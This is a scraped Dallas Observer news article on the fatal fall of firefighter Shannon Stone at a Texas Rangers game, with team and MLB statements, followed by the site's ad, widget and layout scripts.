Sports

The Tragic Accident at the Ballpark Last Night

ryan="" reacts="" to="" fan="" s="" death<="" a>="" width="560" height="420><a href="></object>At 10:02 last night, an email from the Texas Rangers arrived in the in-box bearing the subject heading "Statement From Texas Rangers CEO and President Nolan Ryan." This is what it said: <blockquote>The adult male who during tonight's game fell approximately 20 feet from section 5 in the left field lower reserved seats to the area behind the left field wall has died from injuries suffered in the fall. Texas Rangers President Nolan Ryan issued the following statement:<br /><br /> "We are deeply saddened to learn that the man who fell has passed away as a result of this tragic accident. Our thoughts and prayers are with his family."</blockquote>That man, we now know, was <a href="http://www.facebook.com/home.php#%21/profile.php?id=100002222034966" target="_blank">Brownwood firefighter Shannon Stone</a>, a Cleburne High graduate and 17-year-veteran of the fire department who was <a href="http://www.brownwoodnews.com/index.php?option=com_content&view=article&id=5647:breaking-news-brownwood-firefighter-dies-in-fall-at-rangers-game-&catid=35:news&Itemid=58" target="_blank">attending the game with his young son</a>, Cooper. Stone fell after catching a foul ball tossed to him by Josh Hamilton; said Ron Washington after the game, <a href="http://sports.espn.go.com/dallas/mlb/news/story?id=6747510" target="_blank">when speaking of Hamilton</a>, "I guess he's got to deal with it in his own way." Players knew of the fall, which occurred near the Oakland bullpen, but not the extent of Stone's injuries. <a href="http://texas.rangers.mlb.com/news/article.jsp?ymd=20110707&content_id=21564000&vkey=news_tex&c_id=tex" target="_blank">From the Rangers' website</a>:<blockquote>"When they had him on a stretcher and they were carrying him out, he was saying stuff like 'Please check on my son, he's left up there by himself.'" Athletics reliever Brad Ziegler said. "The people that carried him out reassured him that, 'We'll get your son, we'll make sure he's OK.' We just kind of assumed that he's talking, he's conscious, he'll be OK. To find out he's not is just ... tough."</blockquote><strong>Update at 11:30 a.m.:</strong> The Rangers have scheduled a 2:30 p.m. press conference with Ryan to discuss last night's tragedy. Also, notes the release from team spokesman John Blake: "All of the flags at Rangers Ballpark in Arlington have been lowered to half-mast in the memory of Shannon Stone. The Rangers will also observe a moment of silence in Mr. Stone's memory prior to Friday's game. More information will be available at the media briefing."<br /><br /><strong>Update at 2 p.m.:</strong> In advance of the Rangers' press conference, Major League Baseball has issued the <a href="http://mlb.mlb.com/news/press_releases/press_release.jsp?ymd=20110708&content_id=21589220&vkey=pr_mlb&fext=.jsp&c_id=mlb" target="_blank">following press release</a>:<blockquote>"All of us at Major League Baseball are shocked and saddened over the tragic death of Mr. Stone last evening. Our thoughts and prayers are with his son and his entire family. Major League Baseball has the utmost sensitivity to the safety of all the fans that come to our ballparks. Our players are encouraged to be fan-friendly and we will carefully review this incident with our clubs to continue to ensure a safe environment for our fans."</blockquote></p> </div> <script> Foundation.ParagraphTool = Foundation.ParagraphTool || function (element) { // Compile and store usable paragraph endings that are good for element insertion // Avoides paragraph insertions immediately following a header or block element // Includes paragraph endings before a <div> this.bodyContainer = jQuery(element); this.textNodeMatch = new RegExp('^(#text|A|I|B)$','i'); this.getPreviousNonEmptySibling = function (currentNode) { let prevNode = currentNode ? currentNode.previousSibling : null; let prevNodeFound = false; while (prevNode && !prevNodeFound) { let isText = prevNode.nodeType === Node.TEXT_NODE; // Empty text node. Move on to the next node if (isText && prevNode.nodeValue.trim() === '') { prevNode = prevNode.previousSibling; } else { prevNodeFound = true; } } return prevNode; } this.getNextNonEmptySibling = function (currentNode) { let nextNode = currentNode ? currentNode.nextSibling : null; let nextNodeFound = false; while (nextNode && !nextNodeFound) { let isText = nextNode.nodeType === Node.TEXT_NODE; // Empty text node. Move on to the next node if (isText && nextNode.nodeValue.trim() === '') { nextNode = nextNode.nextSibling; } else { nextNodeFound = true; } } return nextNode; } this.isDoubleBrParagraphBreak = function (currentNode) { let prevNode = this.getPreviousNonEmptySibling(currentNode); let prevPrevNode = this.getPreviousNonEmptySibling(prevNode); if (currentNode && prevNode && prevPrevNode) { let currentNodeIsBr = currentNode.nodeName === 'BR'; let prevNodeIsBr = prevNode.nodeName === 'BR'; let prevPrevNodeIsText = prevPrevNode.nodeName.match(this.textNodeMatch) !== null; let isBrParagraphBreak = prevPrevNodeIsText && prevNodeIsBr && currentNodeIsBr; if (isBrParagraphBreak) { return true; } } return false; } this.isBrParagraphBreakBeforeBlockElement = function (currentNode) { let prevNode = this.getPreviousNonEmptySibling(currentNode); let nextNode = this.getNextNonEmptySibling(currentNode); if (prevNode && currentNode && nextNode) { let prevNodeIsText = prevNode.nodeName.match(this.textNodeMatch) !== null; let currentNodeIsBr = currentNode.nodeName.match(/^BR$/i) !== null; let nextNodeIsBlock = nextNode.nodeName.match(/^DIV$/i) !== null; let isParagraphBreakBeforeBlock = prevNodeIsText && currentNodeIsBr && nextNodeIsBlock; if (isParagraphBreakBeforeBlock) { return true; } } return false; } this.isParagraphBreak = function (currentNode) { let prevNode = this.getPreviousNonEmptySibling(currentNode); if (currentNode && prevNode) { let currentNodeIsP = currentNode.nodeName === 'P'; let currentNodeIsNotHeader = jQuery(currentNode).children().length let prevNodeIsNotBlock = prevNode.nodeName.match(/^IMG|DIV|BLOCKQUOTE|UL|OL|hr$/i) === null; // Check for only one <B> or <strong> tag and empty text nodes as children let isPHeader = false; if (currentNodeIsP && currentNode.childNodes.length >= 3) { let textNodesHaveText = false; let brStrongElementCount = 0; let otherElementCount = 0; currentNode.childNodes.forEach((item)=> { if (item.nodeType === Node.TEXT_NODE) { if (item.nodeValue.trim() !== '') { textNodesHaveText = true; } } else if (item.nodeType === Node.ELEMENT_NODE) { if (item.nodeName.match(/^B|STRONG$/i) !== null) { brStrongElementCount++; } else { otherElementCount++; } } }) if (brStrongElementCount === 1 && textNodesHaveText === false && otherElementCount === 0) { isPHeader = true; } } let isParagraphBreak = prevNodeIsNotBlock && currentNodeIsP && !isPHeader; if (isParagraphBreak) { return true; } } return false; } let myParagraphTool = this this.paragraphEndNodes = myParagraphTool.bodyContainer.first().contents().filter(function(index, element) { let isText = this.nodeType === Node.TEXT_NODE; let isElement = this.nodeType === Node.ELEMENT_NODE; // Empty text node. Move on if (isText && this.nodeValue.trim() === '') { return false; } let currentNode = this; if (myParagraphTool.isParagraphBreak(currentNode)) { return true; } if (myParagraphTool.isDoubleBrParagraphBreak(currentNode)) { return true; } if (myParagraphTool.isBrParagraphBreakBeforeBlockElement(currentNode)) { return true; } return false; }) this.getParagraphEndNodeCount = function () { return this.paragraphEndNodes.length; } this.insertElemenAtIndex = function (element, index) { let isValidIndex = index < this.paragraphEndNodes.length; if (isValidIndex) { let currentNode = this.getNodeAtIndex(index); if (this.isDoubleBrParagraphBreak(currentNode)) { if (jQuery(element).get(0).tagName.match(/SCRIPT/i) !== null) { jQuery('<br>').insertAfter(this.paragraphEndNodes[index]); jQuery('<br>').insertAfter(this.paragraphEndNodes[index]); } else { jQuery('div.fdn-content-body').append('<div line-height-check>&nbsp;</div>') let lineHeight = jQuery('[line-height-check]').get(0).clientHeight; jQuery('[line-height-check]').remove() if (jQuery(element).prop('tagName').match(/HIDDEN/i) !== null) { jQuery(element).children('div').last().css({ marginBottom: `${lineHeight*2}px` }); } else { jQuery(element).css({ marginBottom: `${lineHeight*2}px` }); } } } jQuery(element).insertBefore(this.paragraphEndNodes[index]); } else { console.warn('Foundation.ParagraphTool.insertElemenAt: invalid insertion index', index); } } this.getNodeAtIndex = function (index) { return this.paragraphEndNodes[index]; } } </script> <script> window.Foundation = window.Foundation || {}; Foundation.Content = Foundation.Content || {}; Foundation.Content['7117785'] = Foundation.Content['7117785'] || {}; Foundation.Content['7117785'].inlineComponents = [{ componentOid: '12047914', parentWrapperClass: '', insertPoint: '4', startingPoint: '1', requiredCountToDisplay: '6', componentHtml: "\n<div class=\"ZoneA RelatedStoriesSupportUsComboInlineContentresponsive uk-root fdn-margin-vert RelatedStoriesInlineContent comp-content-relatedstories\" data-component-id=\"RelatedStoriesInlineContent\">\n<div micro-component>\n<div stn-embed style=\"margin-top: 54px;\" class=\"MicroComponent RelatedStoriesSupportUsComboInlineContentresponsive uk-root fdn-margin-vert STNVideoPlayerInlineContent comp-content-stnplayerarticle\" data-component-id=\"STNVideoPlayerInlineContent\">\n<div style=\"display: none;\" class=\"stn-embed-spinner\" uk-spinner=\"ratio: 3\"><\/div>\n<script>\nsetTimeout(() => {\n\/\/ is iPad|iphone|iPod or for newer iPads if it has multiple touch points and is MacIntel\nconst isIos = \/iPad|iPhone|iPod\/.test(navigator.platform) || (navigator.maxTouchPoints && navigator.maxTouchPoints > 2 && \/MacIntel\/.test(navigator.platform));\nconst blockIos = false;\nif (Foundation.Pelcro.subscription === \"Member\" || (blockIos && isIos)) {\njQuery('div[stn-embed], div[stn-embed-embedded]').remove();\n}\nelse {\nconst scriptElement = jQuery('div[stn-embed]').get(0);\nconst scriptElementFound = scriptElement !== undefined;\nconst scriptElementNotRenderedYet = jQuery('div[stn-embed-embedded]').get(0) === undefined;\nif (scriptElementFound && scriptElementNotRenderedYet) {\nconst scriptObj = jQuery(scriptElement);\nconst embedHook = jQuery(`<div class='s2nPlayer k-VKaWiYTy' data-type='float'><\/div>`);\nconst embedScript = jQuery(`<script type='text\/javascript' src='\/\/embed.sendtonews.com\/player3\/embedcode.js?fk=VKaWiYTy&cid=13271&offsetx=0&offsety=90&floatwidth=400&floatposition=bottom-right' data-type='s2nScript'><` + `\/script>`);\nscriptObj.append(embedHook, embedScript);\nscriptObj.removeAttr('stn-embed');\nscriptObj.attr('stn-embed-embedded', true);\n}\nelse {\njQuery('div[stn-embed]').remove();\n}\n}\n}, 10000);\n<\/script>\n<\/div>\n<div class=\"MicroComponent RelatedStoriesSupportUsComboInlineContentresponsive uk-root fdn-margin-vert SupportUsExpandedState comp-shell-supportus\" data-component-id=\"SupportUsExpandedState\">\n<div class=\"fdn-support-us-block\">\n<div class=\"fdn-support-us-start-row fdn-support-us-wrap\" >\n<div class=\"uk-flex uk-flex-wrap uk-flex-center uk-width-4-5@s uk-width-1-1 fdn-support-us-flasher-row\">\n<h2 class=\"uk-margin-remove\">I support<\/h2>\n<div class=\"fdn-support-us-flasher-box uk-width-1-2@m uk-width-2-3\">\n<div uk-slider=\"autoplay: true;autoplay-interval: 710\">\n<div class=\"uk-slider-container\">\n<div class=\"uk-child-width-1-1 uk-slider-items\"> \n<div class=\"fdn-slider-delayed\">\n<img src=\"\/images\/dal-main-logo.png\" alt=\"Dallas Observer\">\n<\/div>\n<div class=\"fdn-slider-delayed\">\n<img src=\"\/images\/dal-main-logo.png\" alt=\"Dallas Observer\">\n<\/div>\n<div>Local<\/div>\n<div>Community<\/div>\n<div>Journalism<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"uk-flex uk-flex-center uk-flex-wrap fdn-support-us-start-row-text\">\n<div class=\"uk-margin-small-right uk-width-2-3@m uk-width-1-2@s uk-padding-small uk-padding-remove-vertical\">\nSupport the independent voice of Dallas and \nhelp keep the future of Dallas Observer free.\n<\/div>\n<div class=\"uk-padding-small fdn-support-us-support-button\">\n<a href=\"https:\/\/www.dallasobserver.com\/i-support\" \nonclick=\"ga('send', 'event', 'VMG-Widget', 'Click', 'News-Article-VMG-ISupport-Leader', {'NonInteraction': 1});\">\nSupport Us\n<\/a>\n<\/div> \n<\/div> \n<\/div>\n<div class=\"fdn-support-us-toggle-row fdn-support-us-wrap\" hidden>\n<div class=\"uk-flex uk-flex-middle uk-flex-wrap uk-flex-center\">\n<div class=\"uk-margin-small-right\">\n<h2 class=\"uk-margin-remove-vertical uk-text-center\">\nKeep Dallas Observer Free.\n<\/h2>\n<\/div>\n<div class=\"uk-padding-small fdn-support-us-support-button\">\n<a href=\"https:\/\/www.dallasobserver.com\/i-support\">Support Us<\/a>\n<\/div> \n<\/div>\n<\/div>\n<div class=\"fdn-support-us-toggle-button\">\n<a href=\"#\" uk-toggle=\"target: .fdn-support-us-wrap\">\n<i class=\"fas fa-chevron-up fa-lg\"><\/i>\n<\/a> \n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<hidden hidden>\n<br><br>\n<div class=\"uk-margin-remove fdn-labeled uk-width-1-1 uk-flex uk-flex-around\" fdn-ad-component>\n<div apn-ad-hook=\"rectangle\" display-targets=\"mobile\">\n<script>\nif (typeof apntag === 'object') {\napntag.anq.push(function() {\nif (typeof Foundation.ApnAds.fillAds === 'function') {\nFoundation.ApnAds.fillAds()\n}\n})\n}\n<\/script>\n<\/div>\n<\/div>\n<\/hidden>\n<script>\nif (window.innerWidth < Foundation.ApnAds.tabletWidth) {\njQuery('[data-component-id=RelatedStoriesInlineContent] [data-component-id=SupportUsExpandedState]').remove()\n}\n<\/script>\n<\/div>", },{ componentOid: '12047910', parentWrapperClass: '', insertPoint: '2/3', startingPoint: '1', requiredCountToDisplay: '7', componentHtml: "<div class=\"ZoneA AirBillboardInlineContentresponsive fdn-labeled uk-root fdn-margin-vert AirBillboardInlineContent comp-\" data-component-id=\"AirBillboardInlineContent\"\ninline-content-billboard\nstyle=\"width:1040px;\"\nfdn-ad-component>\n<div class=\"uk-visible@m uk-flex uk-flex-row uk-width-1-1 uk-flex uk-flex-center\" style=\"\nwidth:1040px;\nborder-top: thin solid #ccc;\nmargin-top: 30px !important;\npadding-top: 30px;\nborder-bottom: thin solid #ccc; \nmargin-bottom: 0px;\npadding-bottom: 30px;\">\n<div apn-ad-hook=\"billboard\" display-targets=\"desktop|tablet\">\n<script>\nif (typeof apntag === 'object') {\napntag.anq.push(function() {\nif (typeof Foundation.ApnAds.fillAds === 'function') {\nFoundation.ApnAds.fillAds()\n}\n})\n}\n<\/script>\n<\/div>\n<\/div>\n<\/div>", },{ componentOid: '12047911', parentWrapperClass: '', insertPoint: '12', startingPoint: '1', requiredCountToDisplay: '12', componentHtml: "\n<hidden hidden>\n<!-- AirMediumRectangleInlineContentMobileDisplaySize2 -->\n<div apn-ad-hook=\"rectangle\" display-targets=\"mobile\">\n<script>\nif (typeof apntag === 'object') {\napntag.anq.push(function() {\nif (typeof Foundation.ApnAds.fillAds === 'function') {\nFoundation.ApnAds.fillAds()\n}\n})\n}\n<\/script>\n<\/div>\n<\/hidden>", },{ componentOid: '12047911', parentWrapperClass: '', insertPoint: '4th', startingPoint: '16', requiredCountToDisplay: '12', componentHtml: "\n<hidden hidden>\n<!-- AirMediumRectangleInlineContentMobileDisplaySize2 -->\n<div apn-ad-hook=\"rectangle\" display-targets=\"mobile\">\n<script>\nif (typeof apntag === 'object') {\napntag.anq.push(function() {\nif (typeof Foundation.ApnAds.fillAds === 'function') {\nFoundation.ApnAds.fillAds()\n}\n})\n}\n<\/script>\n<\/div>\n<\/hidden>", },{ componentOid: '13033296', parentWrapperClass: '', insertPoint: '3/5', startingPoint: '1', requiredCountToDisplay: '5', componentHtml: "\n<div id=\"rc-widget-735b9e\" data-rc-widget data-widget-host=\"habitat\" data-endpoint=\"\/\/trends.revcontent.com\" data-widget-id=\"140541\"><\/div>\n<script type=\"text\/javascript\" src=\"https:\/\/assets.revcontent.com\/master\/delivery.js\" defer=\"defer\"><\/script>\n", }]; Foundation.Content['7117785'].setupInlineComponents = function (callback) { setTimeout(() => { let contentBody = jQuery('[fdn-content-multi-item="7117785"] .fdn-content-body'); // For multiple content scenarios if (contentBody.length) { Foundation.Content['7117785'].paragraphTool = new window.Foundation.ParagraphTool(contentBody); } // Assume only a single content else { contentBody = jQuery('.fdn-content-body'); Foundation.Content['7117785'].paragraphTool = new window.Foundation.ParagraphTool(contentBody); } var myParagraphTool = Foundation.Content['7117785'].paragraphTool Foundation.Content['7117785'].inlineComponents.forEach((item,index) => { if (item.parentWrapperClass.trim() === '') { var componentElement = jQuery(item.componentHtml); } else { var componentElement = jQuery(`<div class="${item.parentWrapperClass.trim()}">${item.componentHtml}</div>`); } var paragraphCount = myParagraphTool.getParagraphEndNodeCount(); // No need to insert if there aren't enough paragaphs if (paragraphCount >= parseInt(item.requiredCountToDisplay)) { // Matches specific paragraph insertion indexes if (item.insertPoint.match(/^\d+$/) !== null) { var insertIndex = parseInt(item.insertPoint) - 1; // Insert within content if (insertIndex < paragraphCount) { myParagraphTool.insertElemenAtIndex(componentElement, insertIndex); } // Append to the end if the insert point is beyond the paragraph count else { contentBody.append(componentElement); } } // Matches for 1/2, 1/4, 2/3, 5/6, etc else if (item.insertPoint.match(/^[1223456]\/[23456]$/) !== null) { var fractionMatch = new RegExp(/^([123456])(?:\/)([23456]$)/); var fractionPart = parseInt(item.insertPoint.match(fractionMatch)[1]); var fractionWhole = parseInt(item.insertPoint.match(fractionMatch)[2]); var fractionValue = fractionPart / fractionWhole; var fractionIndex = Math.floor(myParagraphTool.paragraphEndNodes.length * fractionValue) - 1; myParagraphTool.insertElemenAtIndex(componentElement, fractionIndex); } // Matches for every Nth insertion point else if (item.insertPoint.match(/^\d*th$/i) !== null) { var intervalIndex = parseInt(item.insertPoint.match(/^(\d*)th$/i)[1]); var startingIndex = item.startingPoint; for (var i = startingIndex; i < myParagraphTool.paragraphEndNodes.length; i++) { if ((i - startingIndex) % intervalIndex === 0) { let currentNode = myParagraphTool.getNodeAtIndex(i); myParagraphTool.insertElemenAtIndex(componentElement, i); } } } } }); Foundation.Content['7117785'].setupInlineComponents = function () { return true; }; if (typeof callback === 'function') { callback(); } }, 200); } </script> <script> jQuery(function () { Foundation.Content['7117785'].setupInlineComponents(); }); </script> </div> </div> </div> <div class="uk-width-1-1"> <div class="ZoneA KeepFreeresponsive uk-root fdn-margin-vert KeepFree comp-content-keepfree" data-component-id="KeepFree"> <div class="uk-position-relative uk-overflow-hidden"> <div class="fdn-keep-free-blue-bar-top" uk-scrollspy="cls: fdn-animation-blue-bar-top; delay: 300;"></div> <div class="fdn-keep-free-blue-bar-left" uk-scrollspy="cls:fdn-animation-blue-bar-left; delay:1500"></div> <div class="fdn-keep-free-body"> <strong>KEEP THE DALLAS OBSERVER FREE...</strong> Since we started the <i>Dallas Observer</i>, it has been defined as the free, independent voice of Dallas, and we'd like to keep it that way. With local media under siege, it's more important than ever for us to rally support behind funding our local journalism. You can help by participating in our "I Support" program, allowing us to keep offering readers access to our incisive coverage of local news, food and culture with no paywalls. </div> <div class="uk-position-relative fdn-keep-free-link"> <a href="https://www.dallasobserver.com/i-support" onclick="ga('send', 'event', 'VMG-Widget', 'Click', 'News-VMG-ISupport-AfterArticle', {'NonInteraction': 1});"> Make a one-time donation today for as little as $1. </a> <div class="fdn-keep-free-text-mask" uk-scrollspy="cls:fdn-animation-text-mask"></div> </div> </div> </div> <div class="ZoneA AbouttheAuthorCustomresponsive uk-root fdn-margin-vert AbouttheAuthorCustom comp-content-abouttheauthor" data-component-id="AbouttheAuthorCustom"> <div class="uk-flex uk-margin-xsmall-bottom"> <div class="uk-width-expand fdn-about-author-content-block"> <div class="bio"> <strong>Robert Wilonsky</strong> </div> <div class="contact"> <strong class="uk-text-uppercase">Contact:</strong> <a href="https://posting.dallasobserver.com/about/contact?to=6371392">Robert Wilonsky</a> </div> </div> </div> </div> <div yieldmo-embed id="Yieldmo-ym_926737477241871377-7117785"></div> <script> setTimeout(() => { if (Foundation.Pelcro.subscription === "Member") { jQuery('div[yieldmo-embed], div[yieldmo-embed-embedded]').remove(); } else { window.Foundation = window.Foundation || (window.Foundation = {}); Foundation.Yieldmo = (typeof(Foundation.Yieldmo) === 'undefined') ? {} : Foundation.Yieldmo; Foundation.Yieldmo.unique_id = (typeof(Foundation.Yieldmo.unique_id) === 'undefined') ? Date.now() : Foundation.Yieldmo.unique_id; jQuery('#Yieldmo-ym_926737477241871377-7117785').html(` <div id="ym_926737477241871377" class="ym ym_scroll" data-id="7117785-${Foundation.Yieldmo.unique_id}"></div> `); setTimeout(() => { (function(e,t){if(t._ym===void 0){t._ym="";var m=e.createElement("script");m.type="text/javascript",m.async=!0,m.src="//static.yieldmo.com/ym.min.js",(e.getElementsByTagName("head")[0]||e.getElementsByTagName("body")[0]).appendChild(m)}else t._ym instanceof String||void 0===t._ym.chkPls||t._ym.chkPls()})(document,window); }, 300); } }, 1000); </script> <div class="uk-width-1-1 uk-flex uk-flex-row uk-flex-wrap fdn-content-footer-row"> <div class="uk-first-column text-links-hook"> <div class="ZoneA SailthruRecommendationsresponsive uk-width-medium@s uk-margin-remove SailthruRecommendations-7117785 uk-root fdn-margin-vert SailthruRecommendations comp-content-sailthrurecommendations" data-component-id="SailthruRecommendations"> <h3 class="uk-margin-remove uk-heading-line uk-text-uppercase"> <span> Trending News </span> </h3> <ul class="uk-list fdn-list-bullet" sailthru-hook> <li><a href="https://www.dallasobserver.com/news/prostitution-stings-in-frisco-and-southlake-should-shed-more-light-on-victims-of-human-trafficking-15787906" data-objid="15787906" title="Suburban Prostitution Sting Should Shed More Light on Victims of Human Trafficking">Suburban Prostitution Sting Should Shed More Light on Victims of Human Trafficking</a></li> <li><a href="https://www.dallasobserver.com/news/tracks-of-his-tears-6405802" data-objid="6405802" title="Tracks of His Tears">Tracks of His Tears</a></li> <li><a href="https://www.dallasobserver.com/news/professional-troll-alex-stein-touts-bid-for-highland-park-isd-school-board-15785826" data-objid="15785826" title="Can Alex Stein Troll His Way onto the Highland Park ISD School Board?">Can Alex Stein Troll His Way onto the Highland Park ISD School Board?</a></li> </ul> <hidden hidden> <ul class="uk-list fdn-list-bullet"> <li> <div class="ZoneA AirNativeArticleresponsive uk-root fdn-margin-vert AirNativeArticle comp-" data-component-id="AirNativeArticle"> <div apn-ad-hook="nativeArticle" display-targets="desktop|tablet|mobile"> <div class="xandr-text-only"> <!--Text Section--> <div class="xandr-txt-wrapper"> <!--Sponsored By--> <span class="xandr-sponsored-by">Sponsored Content From: [%sponsoredBy%]</span> <!--Title--> <h1 class="xandr-title">[%title%]</h1> </div> </div> <script> if (typeof apntag === 'object') { apntag.anq.push(function() { if (typeof Foundation.ApnAds.fillAds === 'function') { Foundation.ApnAds.fillAds() } }) } </script> </div> </div> </li> </ul> </hidden> <script> jQuery(document).ready(function($) { Sailthru.personalize({ "sections": [ { "id": "a688ce6c-a044-11e6-b232-002590d1a2f6", "selector": ".SailthruRecommendations-7117785 > ul[sailthru-hook]", "onSuccess": function(response) { Foundation.SailthruSPM.Personalize({ "selector": ".SailthruRecommendations-7117785 > ul[sailthru-hook]", "data": response, "count": 3, "template": (article) => `<li><a href="${article.url}" data-objid="${article.vars.objid}" title="${article.title}">${article.title}</a></li>` }); } } ], "vars": { "placed": "7117785" } }); }); </script> </div> </div> <div class="uk-width-expand@s fdn-content-placeholder avantis-hook"> <div class="ZoneA ConnatixPlayerresponsive uk-width-1-1 uk-flex uk-flex-center uk-root fdn-margin-vert ConnatixPlayer comp-" data-component-id="ConnatixPlayer"> <!-- Connatix --> <script id="ConnatixPlayer-7117785-1">(new Image()).src = 'https://capi.connatix.com/tr/si?token=d4918cba-d69b-4816-b86d-35dd5f1ed797&cid=1ffe7ec6-eb53-11e9-b4d2-06948452ae1a'; cnxps.cmd.push(function () { cnxps({ playerId: "d4918cba-d69b-4816-b86d-35dd5f1ed797" }).render("ConnatixPlayer-7117785-1"); });</script> </div> </div> </div> <div class="ZoneA NewsletterSignup657responsive uk-root fdn-margin-vert NewsletterSignup657 comp-newsletter-newslettersignup" data-component-id="NewsletterSignup657"> <div class="uk-flex uk-flex-wrap uk-width-1-1 fdn-newsletter-signup-medium"> <div class="uk-flex uk-flex-wrap fdn-newsletter-signup-main"> <div class="fdn-newsletter-signup-logo"> <img src="/images/air/newsletter-icon-dal.png" alt=""> </div> <div class="uk-flex uk-flex-wrap fdn-newsletter-signup-text-block"> <div class="fdn-newsletter-signup-text"> <div class="fdn-newsletter-signup-text-large-only"> Don't Miss Out </div> <strong>SIGN UP</strong> for the latest news, free stuff and more! </div> <div class="fdn-newsletter-signup-button-block"> <div class="pelcro-logged-out"> <a href="#newsletterSignUp" class="pelcro-subscribe-button fdn-newsletter-signup-button" data-product-id="537" data-vmgs-psource="In-Article Sign Up|News" data-vmgs-section="News" onCLick="ga('send', 'event', 'VMG-Widget', 'Click', 'In-Article Sign Up-News', {'NonInteraction': 1});"> Join Today <i class="fas fa-caret-right"></i> </a> </div> <div class="pelcro-logged-in"> <a href="/profile" class="fdn-newsletter-signup-button" onCLick="ga('send', 'event', 'VMG-Widget', 'Click', 'In-Article Sign Up-News', {'NonInteraction': 1});"> Sign Up </a> </div> </div> </div> </div> <div class="uk-flex uk-flex-wrap fdn-newsletter-signup-secondary"> <div class="fdn-newsletter-signup-secondary-text"> Become a member to support the independent voice of Dallas and help keep the future of the Observer <strong>FREE</strong> </div> <div class="fdn-newsletter-signup-secondary-link-block uk-flex uk-flex-wrap uk-flex-middle uk-width-1-1"> <a href="/i-support" class="fdn-newsletter-signup-secondary-link">I Support <img src="/images/dal-main-logo.png" alt="Dallas Observer"> </a> <a href="/i-support" class="fdn-newsletter-signup-secondary-link-learn-more">Learn More</a> </div> </div> </div> </div> <div class="ZoneA RevContentBelowArticleresponsive uk-root fdn-margin-vert RevContentBelowArticle comp-" data-component-id="RevContentBelowArticle" rev-r1-embed-wrapper> <script> setTimeout(() => { const embedWrapper = jQuery(jQuery('[rev-r1-embed-wrapper]').get(0)); const displaySizeNotMobile = window.innerWidth >= Foundation.ApnAds.tabletWidth; const isIos = window.navigator.userAgent.match(/iphone|iPad/i) !== null; if (Foundation.Pelcro.subscription === "Member") { embedWrapper.remove(); } else { embedWrapper.removeAttr('rev-r1-embed-wrapper') if (displaySizeNotMobile || isIos) { let embedDiv = jQuery(`<div id="rc-widget-513874" data-rc-widget data-widget-host="habitat" data-endpoint="//trends.revcontent.com" data-widget-id="139941"></div>`) let embedScript = jQuery(`<script type="text/javascript" src="https://assets.revcontent.com/master/delivery.js" defer="defer"><`+`/script>`) embedWrapper.append(embedDiv); embedWrapper.append(embedScript); } else { let embedR1 = jQuery(` <script r1-script-hook-mobile> if (window.innerWidth < 998) { (function () { var realOneHookElement = document.querySelector('[r1-script-hook-mobile]'); var realOneScriptElement = document.createElement('script'); realOneScriptElement.defer = true; realOneScriptElement.src = 'https://www.voqally.com/hub/app/r.js?key=dfe4ec4c883b40c13c9cba6f854893ad'; document.querySelector('[r1-script-hook-mobile]').after(realOneScriptElement); realOneHookElement.remove(); })(); } else { let realOneHookElement = document.querySelector('[r1-script-hook-mobile]'); if (realOneHookElement !== null) { let prevNode = null; let prevPrevNode = null; let currentNode = realOneHookElement; const doubleBrAfter = document.querySelector('[r1-script-hook-mobile]+br+br'); if (doubleBrAfter) { doubleBrAfter.remove(); document.querySelector('[r1-script-hook-mobile]+br').remove(); } realOneHookElement.remove(); } } <`+`/script> `) embedWrapper.append(embedR1); } } }, 5000); </script> </div> </div> </div> <div class="uk-width-auto uk-visible@sm uk-margin-left" style="width: 300px;" distribute-right-column-items> <div class="beforeBillboard uk-flex uk-flex-column"> <div class="stickCeption1" style="z-index: 1;"> <hidden hidden> <div class="ZoneA AirRectangleTopRightColumnresponsive uk-margin-remove fdn-labeled uk-root fdn-margin-vert AirRectangleTopRightColumn comp-" data-component-id="AirRectangleTopRightColumn" fdn-ad-component> <div apn-ad-hook="tower" display-targets="desktop"> <script> if (typeof apntag === 'object') { apntag.anq.push(function() { if (typeof Foundation.ApnAds.fillAds === 'function') { Foundation.ApnAds.fillAds() } }) } </script> </div> </div> </hidden> </div> <div class="stickCeption2 uk-margin-remove" style="z-index: 10;" uk-sticky=" offset: 95; bottom: true;"> <script r1-script-hook-desktop> if (window.innerWidth >= 998) { (function () { var realOneHookElement = document.querySelector('[r1-script-hook-desktop]'); var realOneScriptElement = document.createElement('script'); realOneScriptElement.defer = true; realOneScriptElement.src = 'https://www.voqally.com/hub/app/r.js?key=dfe4ec4c883b40c13c9cba6f854893ad'; document.querySelector('[r1-script-hook-desktop]').after(realOneScriptElement); realOneHookElement.remove(); })(); } else { let realOneHookElement = document.querySelector('[r1-script-hook-mobile]'); if (realOneHookElement !== null) { let prevNode = null; let prevPrevNode = null; let currentNode = realOneHookElement; const doubleBrAfter = document.querySelector('[r1-script-hook-mobile]+br+br'); if (doubleBrAfter) { doubleBrAfter.remove(); document.querySelector('[r1-script-hook-mobile]+br').remove(); } realOneHookElement.remove(); } } </script> <hidden hidden> <div class="ZoneA AirMediumRectangleRightColAFterR1responsive uk-margin-remove fdn-labeled uk-root fdn-margin-vert AirMediumRectangleRightColAFterR1 comp-" data-component-id="AirMediumRectangleRightColAFterR1" fdn-ad-component> <div apn-ad-hook="rectangle" display-targets="desktop"> <script> if (typeof apntag === 'object') { apntag.anq.push(function() { if (typeof Foundation.ApnAds.fillAds === 'function') { Foundation.ApnAds.fillAds() } }) } </script> </div> </div> </hidden> </div> </div> <div class="billboardSpacer" style="pointerEvents: none;"></div> <div class="afterBillboard uk-flex uk-flex-column"> <div class="stickCeption"style="z-index: 1;" uk-sticky=" offset: 95; bottom: true;"> <div class="ZoneA LatestStoriesresponsive uk-root fdn-margin-vert LatestStories comp-content-lateststories" data-component-id="LatestStories"> <div class="fdn-component-header-block uk-margin "> <h3 class="fdn-component-header-text uk-margin-remove "> Latest Stories </h3> </div> <div class="fdn-latest-stories-block"> <div class="fdn-latest-stories-subheader"> Keep Scrolling or Click to Read: </div> <div class="fdn-latest-stories-link-block"> <ul class="uk-list fdn-latest-stories-links"> <li><a href="https://www.dallasobserver.com/news/dallas-eyes-legal-path-forward-for-poker-clubs-15799410" content-oid="15799410">Dallas Eyes Legal Path Forward for Poker Clubs</a></li> <li><a href="https://www.dallasobserver.com/news/dallas-county-threatens-lawsuit-if-state-doesnt-provide-mental-health-beds-for-inmates-15785824" content-oid="15785824">Dallas County v. Texas: Commissioners Could Sue if State Doesn't Provide Mental Health Beds</a></li> <li><a href="https://www.dallasobserver.com/news/prostitution-stings-in-frisco-and-southlake-should-shed-more-light-on-victims-of-human-trafficking-15787906" content-oid="15787906">Suburban Prostitution Sting Should Shed More 